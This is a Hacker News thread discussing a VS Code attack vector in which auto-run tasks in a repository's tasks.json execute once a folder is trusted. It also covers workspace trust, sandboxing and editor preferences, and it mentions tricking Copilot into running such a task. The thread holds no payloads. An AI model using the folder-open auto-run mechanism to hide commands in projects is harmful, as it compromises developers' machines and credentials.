jotaen 9mo ago
Not a VSCode user, so a genuine question: what are practical use-cases in which you want VSCode to automatically execute a task only by opening a folder? Is it only for convenience so it already `npm i` or `npm start` without you having to do anything, or are there any other legitimate purposes beyond that?
- apple1417 9mo ago
  When I used it, the one use case I used it was to automatically launch a Jekyll server - if I'm working on a site I'm almost certainly going to want to look at my changes in the browser. Now that I've switched I just run one extra command, it wasn't a big saving, but it was kind of nice.
- rcxdude 9mo ago
  Apart from this feature specifically, in general people would like their IDE to run language servers, set up build systems, and any number of other things which are likely to require some configuration which allows executing some code in the folder to work. VS code has a restricted mode to prevent this, which you need to accept a dialog to disable, but it also disables most of its features.
  - jotaen 9mo ago
    > in general people would like their IDE to run language servers, set up build systems, and any number of other things That I understand, I’m mainly wondering why all that would have to happen automatically by merely opening a folder. My personal preference may differ here, but for things like running a build or starting a dev server, I usually prefer to trigger them manually, and not have them silently executed only by me browsing through the sources. Therefore I’m trying to understand whether there are legitimate use-cases for this “auto-run on open folder” feature besides the obvious convenience aspect of saving one or two extra clicks.
_sinelaw_ 9mo ago
Is this 'task' feature really useful? I'd say applications like IDEs and text editors should not have automatic arbitrary execution of code in the first place. 'eval' should be blocked and extensions/plugins should have only very limited power to execute external logic (such as processes for LSP) or require allowlisting manually every process.
Tyriar 9mo ago
VS Code team member here :wave: As called out elsewhere, workspace trust is literally the protection here which is being circumvented. You're warned when you open a folder whether you trust the origin/authors with pretty strong wording. Sure you may find this annoying, but it's literally a security warning in a giant modal that forces you to chose. Even if automatic tasks were disabled by default, you'd still be vulnerable if you trust the workspace. VS Code is an IDE and the core and extensions can execute code based on files within the folder in order to provide rich features like autocomplete, compilation, run tests, agentic coding, etc. Before workspace trust existed, we started noticing many extensions and core features having their own version of workspace trust warnings popping up. Workspace trust unified this into a single in your face experience. It's perfectly fine to not trust the folder, you'll just enter restricted mode that will protect you and certain things will be degraded like language servers may not run, you don't be able to debug (executes code in vscode/launch.json), etc. Ultimately we're shipping developer tool that can do powerful things like automating project compilation or dependency install when you open a folder. This attack vector capitalizes on neglectful developers that ignore a scary looking security warning. It certainly happens in practice, but workspace trust is pretty critical to the trust model of VS Code and is also an important part to improve the UX around it as we annoy you a _single_ time when you open the folder, not several times from various components using a JIT notification approach. I recall many discussions happening around the exact wording of the warning, it's a difficult to communicate concept in the small amount of words that it needs to use. My recommendation is to use the check box to trust the parent or configure trusted folders. I personally have all my safe git clones in a dev/ folder which I configured to trust, but I also have a playground/ folder where I put random projects that I don't know much about and decide at the time I open something.
- pezgrande 9mo ago
  would it possible to show to alert only when there are potentials threats instead of every time a folder is open? Like showing a big red alert when opening a folder for the first time with a ".vscode" folder in it?
  - Tyriar 9mo ago
jFriedensreich 9mo ago
I am fully moving from local electron based vscode to using vscode-server inside docker inside a vm. It has just so many advantages besides security eg. being able to have multiple workspaces in tabs instead of separate electron windows, and having all the docker/vm tooling available. This can replace remote vscode, devcontainers and electron in a nice package. There is just no reality in which vscode with electron running as user account on a bare machine can be secure not even thinking about agents in the mix. We are working on a custom browser called darc based on chromium IWAs and controlled frames instead of electron and optimised for this. (apache 2.0)
- unium 9mo ago
  Interesting. Link to custom browser repo?
  - jFriedensreich 9mo ago
    pre alpha, xenon is like a browser framework, darc the reference browser, the vscode dev browser is like a dev focused release. https://xe.dev/darc https://xe.dev/darc
yodon 9mo ago
What is the risk profile when running untrusted code in a GitHub codespace under VS Code (other than access to and env vars or secrets attached to the code space)?
skybrian 9mo ago
I'm moving all my development to a remote VM so I can use a coding assistant without worrying too much. I use VS Code's "Remote - SSH" plugin to connect. I'm wondering if that helps. If I "trust" a remote directory, is there an exploit that can get to my laptop? There's enough complicated machinery that I'm thinking the answer is likely yes, but perhaps this has been vetted.
- artbristol 9mo ago
  Unfortunately according to Microsoft themselves, the answer is yes https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh https://marketplace.visualstudio.com/items?itemName=ms-vscod... > A compromised remote could use the VS Code Remote connection to execute code on your local machine.
  - skybrian 9mo ago
    Ah well. Since I'm mostly reading code in the VM, I should come up with a better file browser.

291 points by vinnyglennon 9mo ago

Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays? Im forced to use vs code (so biased), but everything seems worse than eclipse, plus these repeated security issues from malware laced projects. Theres been several posts about infected projects by fake recruiters here in the last year or two. Im guessing the answer is probably Java is why eclipse is out of favor.

SV_BubbleTime 9mo ago
Wild. I would quit my job and start selling jam at the Farmer’s Market before I went back to Eclipse! :)
- deleted 9mo ago
  [deleted]
doodlesdev 9mo ago
> everything seems worse than eclipse I would say the answer is that's not the general perception of the software. I'm personally migrating out of VSCode, because having to use the OpenVSX registry to have open-source builds makes me mad (I've since migrated to Zed for now, since I've never adapted well to neovim nor emacs). In general, I believe most people see VSCode as "good enough". Maybe not the best text editor, but it's good enough at everything it does and extensible enough to the point that there's really no point to go for anything else unless you have a really good reason to. > Im guessing the answer is probably Java is why eclipse is out of favor. My previous answer is thinking about editors in general. But in the case of Eclipse I'd say you're right LOL.
- jen20 9mo ago
  “Java” does not explain why Eclipse is irrelevant where IntelliJ is thriving.
- com2kid 9mo ago
  People forget that there was a period of time during which the Java runtime installer tried to install actual adware. You had to jump through hoops to deselect adware from being forced onto your machine, it was infuriating. Setting up a new machine, I could choose between Eclipse (free, took forever to open, slow, asked me a million questions before it let me start working) or Visual Studio (cost money, incredibly powerful, written in C++ and was really damn fast.)
  - jhasse 9mo ago
    Visual Studio is mostly written in C# btw.
    - com2kid 9mo ago
      Back in 2005 it was mostly in C++ and it was blazing fast. IMHO VS 2005 was the most performant edition. I never liked VS 2003, felt bloated in comparison.
reaperducer 9mo ago
why is VS code the defacto answer nowaday? 1. It's free 2. A million plug-ins Personally, I don't use it because it's so dog slow.
- mhuffman 9mo ago
  I have noticed that Antigravity is lightening fast, wonder what magic they are using?
- josephg 9mo ago
  > A million plug-ins > I don't use it because it's so dog slow. You might find it runs better with fewer plugins.
  - godelski 9mo ago
    Load time is in seconds, even with the program cached. I can still load vim with a ton of plugins[0] and still load a project in a few hundred milliseconds. Maybe VS Code is faster with fewer plugins but it's still "dog slow" to load and run. Only thing I'm "missing" in vim is the bloat [0] personal I only use a handful but I've played around because why not
    - rmunn 9mo ago
      With LazyVim (requires NeoVim) and its load-on-demand architecture, startup time usually stays below 50 milliseconds even with a ton of plugins. Below 50ms is fast enough that it feels instant. Aliasing `nvim` to `n` in my ~/.bash_aliases just makes it even faster. cd to a project directory, run `n .` and I'm looking at the NeoVim file explorer plugin for that project directory. No break in thought flow, no standing up to get coffee while the IDE loads, just keep going.
      - vanviegen 9mo ago
        Your focus on startup speed feels really alien to me. When working on a project I just keep vscode open. I reboot maybe once a week and starting vscode again takes about a second, and then maybe 10s of seconds of background processing, depending on the project size, for the language server to become fully operational. That's more than good enough for me. I've done a lot of shell-driven development in the 00s though, and I remember it did involve frequently firing up vim instances for editing just a single file. I no longer understand the appeal of that approach. Navigating between files (using fuzzy search or go-to-definition) is just a lot faster and more convenient.
eikenberry 9mo ago
Seems very odd to me that someplace would force the use of a particular development tool. I've seen it only one time while interviewing, where they wanted everyone to have identical setups so they could easily hop onto each others computers when needed... it was weird and I took it as a red flag and didn't follow through them them.
- userbinator 9mo ago
  That is a massive red flag to me too. They are basically saying "you are identical to everyone else, and easily replaced."
  - doubled112 9mo ago
    Wanting to be able to use anybody's machine is very strange, agreed. From a support/IT perspective though, the closer everybody's machine is, the easier the job is. The last software shop I worked at, we had a default set of tools and configs. It was a known happy path. You were allowed to adventure off of that path, but you were mostly on your own.
    - Alupis 9mo ago
      Devcontainers[1] or some similar technology are a must. Use whatever specific IDE you want, but the development environment itself should be identical across everyone on the team. No more "works on my computer" issues. The environment is always identical. [1] https://containers.dev/ https://containers.dev/
    - MaulingMonkey 9mo ago
      > Wanting to be able to use anybody's machine is very strange, agreed. Very useful if people are struggling to create reliable repro steps that work for me - I can simply debug in situ on their machine. Also useful if a coworker is struggling to figure something out, and wants a second set of eyes on something that's driving them batty - I can simply do that without needing to ramp up on an unfamiliar toolset. Ever debugged a codegen issue that you couldn't repro, that turned out to be a compiler bug, that you didn't see because you (and the build servers) were on a different version? I have. There are ways to e.g. configure Visual Studio's updater to install the same version for the entire studio, which would've eliminated some of the "works on my machine" dance, but it's a headache. When a coworker shows me a cool non-default thing they've added a key binding for? I'll ask what key(s) they've bound it to if they didn't share it, so we share the same muscle memory.
dfajgljsldkjag 9mo ago
Eclipse is not safer it just has fewer people looking for holes in it. The problem is not the software but how we trust code from the internet. Even if you used Eclipse a fake recruiter could still trick you into running a bad script. We cannot fix social engineering by changing the text editor.
mr_toad 9mo ago
> Im guessing the answer is probably Java is why eclipse is out of favor. Some people just want a text editor, whereas eclipse is “an IDE and Platform”.
- IshKebab 9mo ago
  I don't think that's really why VSCode succeeded or Eclipse failed. Eclipse failed because it was slow and janky and had abysmal UX and it only supported Java well. VSCode succeeded because it has a much more sane UX, it's way less janky, it's highly extensible and language neutral.
josephg 9mo ago
> Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays? Is eclipse good now? I used it 15 years ago. It took ages to start. It was a memory hog and it was dog slow besides. My entire team got RAM upgrades on our computers because the default company issued machines (which were quite good at the time) didn't have enough RAM to use eclipse properly. I can't imagine why it went out of favour...
- Alupis 9mo ago
  How much ram did you have, and when was this? I remember being extremely happy with Eclipse on an 8GB machine - this was back in the jvm7 days. Heck, I did jvm6 development with Eclipse on Windows XP with 4GB of ram and was content. Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE. For years and years I had people telling me how great IntelliJ was, etc. I eventually switched - lo and behold, IntelliJ had just as many quirks (even some of the same) as Eclipse.
  - Semaphor 9mo ago
    I used eclipse in university around that time (2005), then first switched to netbeans which I already liked more, then discovered IntelliJ and have been using that ever since. Everything about Eclipse felt worse in ways neither of the others did, but all of that was still during university (though I now use JetBrains professionally).
  - morcus 9mo ago
    > Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE. More like Eclipse struggled on the kind of hardware that people could afford as a student. My main memories of Eclipse (15 years ago at this point) are waiting forever for it to start up, though it was pretty adequate after that.
    - DrewADesign 9mo ago
      Right, but it’s essentially a fancy text editing environment. It should never have needed anything but barebones hardware.
forrestthewoods 9mo ago
I’ve never written a line of Java in my life. Why would I ever use Eclipse? VSCode is defacto standard because it’s kinda mediocre but works ok enough for every language and every platform. Microsoft created and popularized LSP so VSCode isn’t a single language IDE. I use a mixture of code editors. My favorite is probably 10x but it only works with C++. So VSCode is just a reasonably standard unless a different editor is better for a specific use case.
com2kid 9mo ago
I switched to VSCode because it has a free editor with a really great jump to file hotkey. I remember when the big VS added jump to file but it was so damn miserably implemented as to be useless. Having worked at Microsoft for a decade, the most frequent way I navigated a large source tree was dir /s *partialfilename*.* Then again while I was there, most code bases couldn't even open in Visual Studio. (highly team dependent, I was mostly on older C/C++ code bases.) Some teams at MS paid for an editor called Source Insight, which indexed your code and could also parse C #defines and other preprocessor macros, which was super unique and powerful. It had an incredibly powerful symbol and fuzzy filename search capabilities, I'd frequently have Source Insight open just so I could find where in a folder structure a file was and then I'd open it up in my preferred editor. Back when I got my first SSD the largest boost to my dev productivity was not in compile times (large C++ code bases tend to template bound more so than IO bound), it was how fast I could find files in the directory structure. I'm sure Vi/Emacs users have some magic set of plugins that do all of this for them, but as someone back on Windows back in the 2000s and 2010s, the supported MS tooling was horrible at all this. Then VS Code comes along with amazing fuzzy file name matching. Holy cow. Sure it is missing 90% of the power of real Visual Studio (being able to have a debugger step from front end web code to your backend and then into stored procedures in SQL, running on a remote machine, that your debugger transparently auth'd to, is something Microsoft had working 20 years ago and would be considered impossible dark magic with today's tooling), but wow can I navigate a project quickly!
- danielodievich 9mo ago
  Site license to source insight was something I missed badly after Microsoft. Bought my own copy. It did wonders when looking at Snowflake monorepo, which was otherwise impossible to understand . Great piece of software, still going strong too.
- m-schuetz 9mo ago
  Same here! Easily jumping between files is one of the best features. I always have VS and vscode open simultaneously, doing about 99% of the work in vscode and only using VS to compile and to debug.
MaulingMonkey 9mo ago
I bucket Eclipse under "heavyweight IDE". I used to use it, plus the CDT plugin, for my C++ nonsense. Then Visual Studio's Express and later Community SKUs made Visual Studio free for ≈home/hobby use in the same bucket. And they're better at that bucket for my needs. Less mucking with makefiles, the mixed ability to debug mixed C# and C++ callstacks, the fact that it's the same base as my work tools (game consoles have stuff integrating with Visual Studio, GPU vendors have stuff integrating with Visual Studio, the cool 3rd party intellisense game studios like integrates with Visual Studio...) Eclipse, at least for me, quickly became relegated to increasingly rare moments of Linux development. But I don't always want a heavyweight IDE and it's plugins and load times and project files. For a long time I just used notepad for quick edits to text files. But that's not great if you're, say, editing a many-file script repository. You still don't want all the dead weight of a heavy weight IDE, but there's a plethora of text editors that give you tabs, and maybe some basic syntax highlighting, and that's all you were going to get anyways. Notepad++, Sublime Text, Kate, ...and Visual Studio Code. Well, VSC grew some tricks - an extension API for debuggers, spearheading the language server protocol... heck, I eventually even stopped hating the integrated VCS tab! It grew a "lightweight IDE" bucket, and it serves that niche for me well, and that's a useful niche for me. In doing so, it's admittedly grown away from the "simple text editor" bucket. If you're routinely doing the careful work of auditing possibly malicious repositories before touching a single build task, VSC feels like the wrong tool to me, despite measures such as introducing the concept of untrusted repositories. I've somewhat attempted to shove a round peg into a square hole by using VSC's profiles feature - I now have a "Default" profile for my coding adventures and a "Notes" profile with all the extensions gone for editing my large piles of markdown, and for inspecting code I trust enough to allow on disk, but not enough to autorun anything... but switching editors entirely might be a better use of my time for this niche.
vbezhenar 9mo ago
For me vscode is super-lightweight and at the same time has enough functionality. I didn't use Eclipse for many years, but from my memory it was super-heavyweight. And it didn't really support anything except Java. Interestingly Java is the only language that I've found vscode support poor, so I keep buying Idea license exclusively for Java projects. For rest of languages that I use (JS/TS, Go, Python, Shell, YAML, XML) I'm using vscode and happy about it. In recent years vscode starting to get bloated, mostly with AI stuff. But so far I can disable everything AI with a single setting and it works good afterwards. I'd prefer for all AI features to be contained in a separate plugin that I can just not install, but I guess managers these days want to shove AI in everyone's throat. Another good thing about vscode is that its written with JavaScript and can be launched in browser, so in the future I want to put my development environment in the browser, but so far I didn't do that.
atq2119 9mo ago
My personal reason for switching some years ago was the excellent remote session support via ssh. I haven't reevaluated that choice in a while, but that plus LSP support (and to a lesser extent ML Auto-complete) are must-haves for me nowadays.
Avicebron 9mo ago
The only thing that matters is extensibility/customization and speed. I want the lightest, most customizable thing that isn't emacs (for real reasons, trying to set up emacs at work is too much of pain in the ass) as my single pane of glass on any OS I care to use. If it can't do that, it doesn't live long.
- rapind 9mo ago
  I want the lightest, most customizable thing, that is also Vim. Thank god there's Vim for that. (cloning my dotfiles for instant setup on a new box)
  - Avicebron 9mo ago
    I mean, sure, you could do that. No one said being competent was easy. Have you tried lisp?
jonwinstanley 9mo ago
As I remember it, VS code was Microsoft’s response to Sublime. Sublime was exceptionally popular for web developers throughout the 2010s. Sublime was maintained by a single person as far as I know. VS code was pretty much a copy of Sublime but with a much better extensions system and relatively quickly there were some great plugins that made VS code the de-facto editor for web development.
- glenngillen 9mo ago
  Wasn’t it a copy of Atom?
  - jonwinstanley 9mo ago
    Yes, Atom was an earlier shot at building a Sublime competitor too. I don’t know how usage of Atom compared to Sublime, but within my friends and colleagues it was only when VS code got good that people started moving away from Sublime.
    - fleebee 9mo ago
      I can only speak for $MY_JOB, but I'm pretty sure everyone was on Atom before VSC "got good". Atom had a good plugin ecosystem; what really drove the change was Atom's horrible performance issues whereas VSC was snappy and responsive. What I believe also influenced the shift was that at that point in time MS had accumulated a decent amount of developer trust by giving us TypeScript and later on by acquiring GitHub. They appeared to care and have the right vision for open source.
      - jonwinstanley 9mo ago
        Ahh ok, interesting. I bounced off atom immediately but VS code got me.
- pjmlp 9mo ago
  Nope it started as a Web IDE, going against Atom was their pivot to win market share, there are a few talks from the team if you search for VSCode history.
blackoil 9mo ago
Because it is fast enough, easy to onboard to with sane defaults. MS provided initial plug-ins and the ecosystem developed. Threat model described is not unique to VS Code
dangus 9mo ago
It's the license. The MIT license is what makes VSCode the defacto answer. It also runs on the web, which makes it extremely convenient to toss into...web things. It's the code editor for the Google Cloud console, the Lambda web console, the GitHub web editor, and so on. I'm going to guess that Eclipse doesn't have the same amount of security issues because it's not a popular target. Everyone (relatively speaking) is using VSCode or something based on it.
closeparen 9mo ago
Never liked Eclipse, but I’ve been forced to use VSCode over my preferred JetBrains IDEs because it is the only modern mainstream editor with a competent client-server mode. As in, actually rendering the UI locally while doing all the code indexing and intelligence on the server. Corporate world would much rather maintain disposable remote VMs than help you unfuck your laptop after whatever required security upgrade installs the wrong version of a scripting language and sends everything to hell.
- sakjur 9mo ago
  Have you tried Jetbrains Gateway? I’m curious whether it’s insufficient or just too recent, as I’ve eyed it a few times.
  - no-name-here 9mo ago
    For those unfamiliar, Gateway is essentially a thin local client for Jetbrains IDEs to run remotely. The remote functionality at least is free. https://www.jetbrains.com/remote-development/gateway/ https://www.jetbrains.com/remote-development/gateway/
  - TiredOfLife 9mo ago
    Gateway is discontinued
  - closeparen 9mo ago
    It’s not as dumb a client as VNC, but it’s close. Basic operations like typing and scrolling will stutter and lag if your connection is less than perfect. VSCode’s client is really VSCode from a UI perspective.
- mrkeen 9mo ago
  Yikes, sounds like hell. Corporate never seems to get that git is the kind of interface you want between your computer and their servers. Then when you trash your computer you can just get it back to the state of being able to git.
bitwize 9mo ago
Thing that IntelliJ and even NetBeans have going for them is that they seem like tools for getting work done. Eclipse puts more emphasis on being a platform which means you have to download and configure plugins just to get started. Great if you're a corporate shop with a standard setup that's force-pushed to every machine. Not so much if you're just getting started or working on side projects or in a startup, which is how languages and frameworks gain mindshare in the web era. Visual Studio Code—I dunno. It's an editor more than an IDE. It lets Webdev Andys create an empty directory, put an index.ts in there, and get started right away. Yes, WebStorm does the same, but VS Code comes with decent multilanguage support for free. It's like vim or Emacs but crappier and more bloated, but a lot of people don't care about that.
m-schuetz 9mo ago
I've also used Eclipse in the past but almost exclusively used vscode in recent years. It's just a phenomenal text editor. It's got fantastic multi-line selection and editing tools and searching for files is instant and you don't even need to be fully accurate with the filename. Nowadays I hardly ever use the sidebar to look for the file, I just type thr ctrl+e shortcut and insert several letters of the file and I instantly get the result. It's a small thing with a huge impact. VS, for comparison, lags a few seconds when searching files, and it misses files that are not imported into the workspace. That difference makes VS useless to me.
mrkeen 9mo ago
It just happens. I was happy on netbeans, then I was forced over to eclipse, which I got used to. Then I got forced over to intellij. I'm still pissed about that (even though it's rider for me these days). I don't mind VSCodium that much because I can put my tooling on the side (like a good unix fanboy) instead of hoping that jetbrains reimplements every other tool. Ag, grep beat IDE searches any day. But yeah we have reach a stupid point in the industry where VSCodium asks me to trust a codebase before it will let me edit it.
gt0 9mo ago
It's free, it has support for loads of languages, and it's kind of fashionable. Personally I'm kind of lukewarm on VS Code, it's fine, but CLion, Visual Studio Proper, and RustRover are better for me. I see why people use it though, it's not a bad editor at all. For Java, I'm all over IntelliJ.
pjmlp 9mo ago
VSCode main architect is one of the Eclipse authors, Erich Gamma. Other than that, it is more fashionable to ship Chrome with applications and JavaScript is hot. /s Eclipse remains my main Java IDE at work.
gucci-on-fleek 9mo ago
I don't really like VS Code either, but I personally use it because I tend to jump between a half-dozen semi-obscure languages, and VS Code is the only [0] editor that supports all of them. [0]: Vim and Emacs have almost as good or slightly better language support, but I prefer GUIs over TUIs.
sfn42 9mo ago
To myself and many others, vscode is not the defacto answer. JetBrains is. IntelliJ was miles ahead of eclipse last time I checked. Rider is miles ahead of Visual Studio. WebStorm is miles ahead of vscode for js etc. It's not even a competition, to me. I've had to use Visual Studio instead of Rider for work the past year and it's been a very bad experience. The biggest difference is JetBrains intellisense feels like it's reading my mind, I'll just type a couple characters and hit tab most of the time. Visual studio on the other hand has the worst intellisense I can imagine. It very frequently just messes up what I'm doing - I'll write what I want correctly, hit space and VS will just change it to something entirely different and import a package while it's at it. It's incredibly annoying. And when I actually want to use auto complete, say for example I've declared a variable on the line above and I want to use it, I'll write a couple characters and then without fail the variable I just declared on the line above is like option 6 down the list behind a bunch of crap that doesn't even make sense in the context at all. And as if it wasn't enough that the IDE is crap when it's working correctly, it very frequently craps out and just stops providing syntax highlighting and such in .razor files, or showing errors in files that compile just fine, forcing me to restart it and delete the .vs folder. Like every day. Personally I think the only people who prefer other products than JB are people who don't know what they're missing. JB is literally just better in pretty much every way. At least the products I've used. I think I'll turn down the next job that asks me to use VS.
bilekas 9mo ago
This is so insane to me. Eclipse is... Fine for Java in the sense Visual Studio is for dotnet. But man can they both be slow. Use case depending sometimes you just need a quick editor, thats why sublime had and probably still has a huge userbase, its fast startup and flexibility. Vim, emacs and derivatives of it are the same story. I can't imagine ever opening up eclipse to edit a zig/go/js file or project. It's too bloated. The answer is neovim anyway. That's all anyone needs. /s
- trelane 9mo ago
  Emacs is a full IDE, not just a quick one-off editor. Its power comes from having everything scriptable from the ground up. Contrast this with the modern Extension concept, where there is a hard line between the editor's code and any changes you might want to make to its behavior. I think vim is probably similar, but I've not gotten into it that much.
  - bilekas 9mo ago
    Exactly, and infact vim is very simular, neovim in my case extensible through lua scripts as an example. It's as light or feature packed as I like. Contrast that to Eclipse and Visual Studio (not vsCode) and it's clear why the larger IDE's are falling out of favour.
tannhaeuser 9mo ago
> Im guessing the answer is probably Java is why eclipse is out of favor. Dude, Eclipse has been out of favor for well over ten years now due to Jetbrains IDEs (IntelliJ IDEA).
simoncion 9mo ago
I loved Eclipse. I still like it quite a lot. I stopped using it because none of the plugins for the languages I was using at the time (Ruby, Python, Erlang) were either worth a damn, or getting updated to track new language features. I started using VSCode because IntelliJ-family IDEs will report incomplete search results as complete when they are rebuilding their search indices. To put it another way, they will tell you that a string that definitely appears in the project does not appear, if they haven't gotten around to re-adding the files that contain that string to the search index. This to me is intolerable behavior. Others find it perfectly acceptable.
zombot 9mo ago
If you did webshit in eclipse, especially with NPM involved, it would be just as bad. Running arbitrary code from a downloaded bundle seems normal in that world. > Im guessing the answer is probably Java is why eclipse is out of favor. I don't get the connection, but Java had log4j, i.e. a remote code execution vulnerability.
DrBazza 9mo ago
> Why is VS code the defacto answer nowadays? For what I do, there's no reasonable alternative at the moment. I'm sure someone will correct me, but it's the only editor that correctly (for some definition of correct) allows remote editing and devcontainers: [desktop OS] -> ssh -> [dest box] [desktop OS] -> [devcontainer] [desktop OS] -> ssh -> [dest box] -> [devcontainer] [desktop OS] -> ssh (jumphost) -> [dest box] -> [devcontainer] I won't name and shame other editors (or IDEs), but either they simply can't do that, or their performance is absolutely, shockingly, abysmal.
- boomlinde 9mo ago
  I would rather solve file access at an entirely different level. A filesystem is a reasonable, editor-agnostic abstraction for this, and I can use sshfs to mount a remote directory over SSH in a way that's invisible to whatever tools I prefer to use to edit the files. If you have a jumphost chain, you can configure that in the SSH config. I don't know what a devcontainer is exactly, but if it's a container in the sense that it runs a Linux development system, I would investigate whether that, too, could easily be set up for access via SSH or mounted locally through some other mechanism.
  - DrBazza 9mo ago
    File access isn't the same as tool access. You need to run tools on your ssh host as well. And a devcontainer does indeed equal a (docker) container. The name is very specific and describes shipping a full developer environments so that 'you' do not have to install gcc-toolset-15, or boost 1.83, or mold, or python 3.11, and so on. https://containers.dev/ https://containers.dev/
    - boomlinde 9mo ago
      > File access isn't the same as tool access. Running tools remotely isn't the same as remote editing, so you'll have to forgive the misunderstanding. > You need to run tools on your ssh host as well. `ssh user@remote tool`. Indeed, the tool you run on the remote host could be a text editor in itself.
elzbardico 9mo ago
Eclipse was always a confusing product. It was a bastard child of Visual Age for Java from IBM, which was already a bastard of IBM's Visual Age for Smalltalk. Visual Age for Java had some quirkiness being a Smalltalk IDE adapted to Java development (for example, the concept of a file and a hierarchical filesystem itself was definitely a second class citizen in Visual Age) and eclipse kind of rounded those rough edges. But Eclipse became a victim of late 90s/early 2000s academic driven overengineering with overly complex/bureaucratic stuff like OSGI, and the support for the absurdly bureaucratic java development ecosystem at that time.

dfajgljsldkjag 9mo ago

It is scary that a text editor can run hidden code just by opening a folder. We traded our safety for convenience and now we are paying the price. Users will always click the button to trust a file if they think it helps them work faster. We cannot blame them when the software design makes it so easy to make a mistake.

EE84M3i 9mo ago
Doesn't it ask you if you trust a folder when you open it?
- dfajgljsldkjag 9mo ago
  You are right that the computer asks you. But people click yes because they are used to ignoring warning signs. The software relies on people making perfect choices every time and that never happens.
  - whs 9mo ago
    It should tell me what should I look before I trust it. Not trusting the workspace means I might as well use Notepad to open it. I wouldn't think that tasks.json include autorun tasks in addition to build actions.
- esseph 9mo ago
  Who remembers autorun.exe
- IshKebab 9mo ago
  Yeah but it's one of those useless permission requests along the lines of "Do you want this program to work or not?" They're pawning off responsibility without giving people a real choice. It's like the old permission dialog for Android that was pretty much "do you want to use this app?". Obviously most people just say yes. There's a reason Google changed that. To be fair I'm sure Microsoft would switch to a saner permission model if they could but it's kind of too late.

internet2000 9mo ago

It's Macro-enabled Office files all over again.

RGamma 9mo ago
Next up: Javascript virtual operating systems.
- p0w3n3d 9mo ago
  we need to go deeper
- falcor84 9mo ago
  That's essentially what WASM does, no?
- hu3 9mo ago
  Deeper: "Replacing my OS process scheduler with an LLM" https://news.ycombinator.com/item?id=46435142 https://news.ycombinator.com/item?id=46435142
javcasas 9mo ago
autorun.inf

sciencejerk 9mo ago

Is tasks.json automatically run? I thought additional user interaction was required?

fulafel 9mo ago
The article doesnt' claim it's executed straight up either ("can result") but it's pretty ambiguous: > When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. In the screenshot the task is named "node" - so it's a bit like embedding a malicious Makefile target as a backdoor. Except harder to spot since it's in a obscure .vscode/somethingsomething json file. (And probably you can easily fool GH Copilot to run it)
zvqcMMV6Zcr 9mo ago
Does it matter that much? I don't think there is any "safe" build system. Users will try to build project sooner or later. With Maven it is easy to add a plugin with harmful payload as dependency, you won't spot it in "source", unless you carefully review every dependency. IDEs need containers/isolation and they need it now. Instead we got that "Do you trust this project" dialog.
MaulingMonkey 9mo ago
You can specify: "runOptions": { "runOn": "folderOpen" } In tasks.json, which I use for automatically `git fetch`ing on a few projects. While I don't recall it's interaction with first run / untrusted folder dialogs, it's entirely automatic on second run / trusted folders.

geophph 9mo ago

I wonder what happens if you open the repo in VSCode Online through GitHub?

bethekidyouwant 9mo ago

tasks.json is the problem here, who thought that was a good idea?

paul_h 9mo ago
Agree. But the first build you do after that clone/checkout is risky too. Maybe not as wide open, as the build-tool makers are a line of defence if they're acting on classes of vuln.

jmyeet 9mo ago

Maybe I'm a dinosaur in this regard but I don't like nor trust any of these desktop application that are really just Web technologies with an embedded browser eg Discord. They're resource hogs and the attack surface is huge. You're basically betting that automatic code that's run won't find a vulnerability and escape the sandbox from an entire browser. I have way more trust in Jetbrains IDEs and the JVM as a sandbox vs HTML/CSS/JS. Still, I'm always impressed at the ingenuity of the people who come up with these attacks and the people who find them.

josephg 9mo ago
Yep. You’d think using web tech would make it really easy to sandbox any 3rd party JavaScript that gets run. But I suppose sandboxing is simply too inconvenient.
- pjmlp 9mo ago
  Because that isn't how it happens, the plugin model relies on external processes with OS IPC, most of them rely on basic process security model, and aren't even implemented in JavaScript due to performance.
winterqt 9mo ago
Won’t IDEA automatically index/execute some Gradle code when possible? As soon as you execute an arbitrary binary/script from the project directory, the isolation of the JVM doesn’t matter.
- jmyeet 9mo ago
  This particular vulnerability relied upon passing the require function to a scope to allow the loading and running of arbitrary code. This is what I tend to call a blacklist approach. You're saying in this sandbox certain features can't be used because they will allow escape. The alternative is a whitelist approach. Instead of disallowing dangerous features you're enabling only the features you need. So a build system like Gradle or Maven (same thing really) has a limited set of primitives it is allowing access to. It's not loading, say, the entire JVM and all the Java core libraries and then listing all those you can't use. You see the difference? If nothing else, the blacklist approach is going to fail when the virtual machine (or whatever) adds a new API call upstream and it's added without intent to the sandbox by simply doing an update where nobody has thought to disable it. Another way of looking at this is Gradle isn't being compiled into Java bytecode and run in the same environment as the IDE (sandboxed or otherwise). That is inherently riskier.

rvz 9mo ago

A great reason why you should switch to Zed.

ethersteeds 9mo ago
I was reminded of this comment when I saw the latest Zed release removing a list of tool calls from the default always_allow list. Yikes! https://github.com/zed-industries/zed/compare/v0.220.2...v0.220.3#commits_bucket https://github.com/zed-industries/zed/compare/v0.220.2...v0....

blackoil 9mo ago

Between long lost of dependencies, LLM and these threat models; developing inside containers should be default workflow.

fizlebit 9mo ago

I do feel like better application sandboxing is needed but so much open source software is built on the Unix abstraction meaning you have to run in a container, but macOS doesn’t have containers as far as I can see, and containers themselves are a bit of a poor abstraction, although maybe the best we can do with Unix at the core. I think something closer to Roblox studio would be cool where when you open an environment stuff just spins up in the background, but there is a good debugger, logging, developer ide, good rendering, eg 3d graphics, separate projects are separate, and when you spin down a game (read app or project) everything spins down.

fulafel 9mo ago
It's a good idea so it can't take over your dev machine. But not sufficient since it'll still F over whatever code you are working on resulting in a backdoored app getting deployed + infected dev scripts etc bringing interesting times to your teammates, downstream open source project users, your api keys and cloud credentials getting compromised etc.
CaRDiaK 9mo ago
Apple did actually introduce its own container framework in Tahoe, but it’s still early days. https://github.com/apple/container https://github.com/apple/container
- solarkraft 9mo ago
  These are Linux containers in a VM, I’m pretty sure GP is talking about native macOS containers. Which: They do actually have some container-like sandboxing tech around applications (“iTerm wants to access your downloads folder”).
  - retsl 9mo ago
